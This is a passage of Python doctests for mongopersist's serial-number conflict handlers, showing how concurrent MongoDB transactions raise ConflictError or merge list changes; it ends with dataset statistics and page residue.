3. Transaction A modifies Foo and the data is flushed:
>>> foo_A.name = '1'
>>> dm.flush()
>>> coll.find_one({})
{u'_id': ObjectId('4f5c114f37a08e2cac000000'), u'name': u'1'}
"""
def doctest_SimpleSerialConflictHandler_basic():
r"""class SimpleSerialConflictHandler: basic
This conflict handler detects conflicts by comparing serial numbers and
always raises a ``ConflictError`` error.
>>> handler = conflict.SimpleSerialConflictHandler(dm)
>>> obj = Foo('one')
Before the object state is set, the serial is extracted from the state and
set on the object:
>>> state = {'name': 'one', '_py_serial': 5}
>>> handler.on_before_set_state(obj, state)
>>> obj._p_serial
'\x00\x00\x00\x00\x00\x00\x00\x05'
>>> state
{'name': 'one'}
Before the object state is stored in Mongo, we add the serial to the
document by taking the current one and add 1 to it. Note that the object's
serial is not changed yet, since storing the document might still be
cancelled (for example by detecting that the DB state equals the new
state):
>>> state = {'name': 'one'}
>>> handler.on_before_store(obj, state)
>>> obj._p_serial
'\x00\x00\x00\x00\x00\x00\x00\x05'
>>> state
{'_py_serial': 6, 'name': 'one'}
After the document was stored, we can safely update the object as well.
>>> handler.on_after_store(obj, state)
>>> obj._p_serial
'\x00\x00\x00\x00\x00\x00\x00\x06'
>>> state
{'_py_serial': 6, 'name': 'one'}
The event handler on modification does not need to do anything:
>>> handler.on_modified(obj)
>>> obj
<Foo 'one'>
There is a method that allows for comparing 2 states of a given
object. The method is used to detect whether objects really changed.
>>> handler.is_same(
... obj,
... {'name': 'one', '_py_serial': 1},
... {'name': 'one', '_py_serial': 2})
True
>>> handler.is_same(
... obj,
... {'name': 'one', '_py_serial': 1},
... {'name': 'eins', '_py_serial': 2})
False
As you can see, the serial number is omitted from the comparison, because
it does not represent part of the object state, but is state meta-data.
Let's check the conflict checking methods now. Initially, there are no
conflicts:
>>> handler.has_conflicts([obj])
False
>>> handler.check_conflicts([obj])
We can force a conflict by setting back the serial on the object:
>>> db_ref = dm.insert(obj)
>>> dm.reset()
>>> obj._p_serial = conflict.p64(3)
>>> handler.has_conflicts([obj])
True
>>> handler.check_conflicts([obj])
Traceback (most recent call last):
...
ConflictError: database conflict error ...
"""
def doctest_SimpleSerialConflictHandler_full():
r"""class SimpleSerialConflictHandler: Full conflict test.
This test demonstrates the conflict resolution behavior of the
``SimpleSerialConflictHandler`` conflict handler during a real session.
First let's create an initial state:
>>> dm.conflict_handler = conflict.SimpleSerialConflictHandler(dm)
>>> dm.reset()
>>> foo_ref = dm.insert(Foo('one'))
>>> dm.reset()
>>> coll = dm._get_collection_from_object(Foo())
>>> coll.find_one({})
{u'_id': ObjectId('...'), u'_py_serial': 1, u'name': u'one'}
1. Transaction A loads the object:
>>> foo_A = dm.load(foo_ref)
>>> foo_A.name
u'one'
2. Transaction B comes along and modifies Foos data and commits:
>>> dm_B = datamanager.MongoDataManager(
... conn, default_database=DBNAME, root_database=DBNAME,
... conflict_handler_factory=conflict.SimpleSerialConflictHandler)
>>> foo_B = dm_B.load(foo_ref)
>>> foo_B.name = 'eins'
>>> dm_B.tpc_finish(None)
>>> coll.find_one({})
{u'_id': ObjectId('...'), u'_py_serial': 2, u'name': u'eins'}
3. Transaction A modifies Foo and the data is flushed. At this point a
conflict is detected and reported:
>>> foo_A.name = '1'
>>> dm.flush()
Traceback (most recent call last):
...
ConflictError: database conflict error
(oid DBRef('mongopersist.tests.test_conflict.Foo',
ObjectId('4f74bf0237a08e3085000002'),
'mongopersist_test'),
class Foo, orig serial 1, cur serial 2, new serial 2)
"""
def doctest_ResolvingSerialConflictHandler_basic():
r"""class ResolvingSerialConflictHandler: basic
This conflict handler detects conflicts by comparing serial numbers and
allows objects to resolve conflicts by calling their
``_p_resolveConflict()`` method. Otherwise the handler is identical to the
simple serial handler.
>>> handler = conflict.ResolvingSerialConflictHandler(dm)
>>> l1 = MergerList([1, 2, 3])
>>> l1.list
[1, 2, 3]
>>> handler.resolve(
... l1,
... orig_doc = {'list': [1, 2, 3], '_id': 1, '_py_serial': 0},
... cur_doc = {'list': [1, 2, 3, 4], '_id': 1, '_py_serial': 1},
... new_doc = {'list': [1, 2, 3, 5], '_id': 1, '_py_serial': 0})
True
>>> l1.list
[1, 2, 3, 4, 5]
Resolving always fails, if there is no ``_p_resolveConflict()`` method:
>>> foo = Foo('one')
>>> handler.resolve(
... foo,
... orig_doc = {'name': 'one', '_id': 1, '_py_serial': 0},
... cur_doc = {'name': 'eins', '_id': 1, '_py_serial': 1},
... new_doc = {'name': '1', '_id': 1, '_py_serial': 0})
False
"""
def doctest_ResolvingSerialConflictHandler_full():
r"""class ResolvingSerialConflictHandler: Full conflict test.
This test demonstrates the conflict resolution behavior of the
``ResolvingSerialConflictHandler`` conflict handler during a real session.
First let's create an initial state:
>>> dm.conflict_handler = conflict.ResolvingSerialConflictHandler(dm)
>>> dm.reset()
>>> ml = MergerList([1, 2, 3])
>>> ml_ref = dm.insert(ml)
>>> dm.reset()
>>> coll = dm._get_collection_from_object(ml)
>>> coll.find_one({})
{u'list': [1, 2, 3], u'_id': ObjectId('...'), u'_py_serial': 1}
1. Transaction A loads the object:
>>> ml_A = dm.load(ml_ref)
>>> ml_A.list
[1, 2, 3]
2. Transaction B comes along, adds a new item to the list and commits:
>>> dm_B = datamanager.MongoDataManager(
... conn, default_database=DBNAME, root_database=DBNAME,
... conflict_handler_factory=conflict.ResolvingSerialConflictHandler)
>>> ml_B = dm_B.load(ml_ref)
>>> ml_B.list.append(4)
>>> dm_B.tpc_finish(None)
>>> coll.find_one({})
{u'list': [1, 2, 3, 4], u'_id': ObjectId('...'), u'_py_serial': 2}
3. Transaction A adds also an item and the data is flushed. At this point a
conflict is detected, reported and resolved:
>>> ml_A.list.append(5)
>>> ml_A._p_changed = True
>>> ml_A.list
[1, 2, 3, 5]
>>> dm.flush()
>>> ml_A.list
[1, 2, 3, 4, 5]
>>> ml_A._p_serial
'\x00\x00\x00\x00\x00\x00\x00\x03'
>>> coll.find_one({})
{u'list': [1, 2, 3, 4, 5], u'_id': ObjectId('...'), u'_py_serial': 3}
"""
def test_suite():
return doctest.DocTestSuite(
setUp=testing.setUp, tearDown=testing.tearDown,
checker=testing.checker,
optionflags=testing.OPTIONFLAGS)
| 32.309589 | 81 | 0.598999 | 1,464 | 11,793 | 4.664617 | 0.185792 | 0.021087 | 0.026358 | 0.028115 | 0.529946 | 0.497584 | 0.462 | 0.42627 | 0.41148 | 0.359643 | 0 | 0.027552 | 0.249046 | 11,793 | 364 | 82 | 32.398352 | 0.743564 | 0.800136 | 0 | 0.054054 | 0 | 0 | 0.020934 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.351351 | false | 0 | 0.108108 | 0.081081 | 0.621622 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.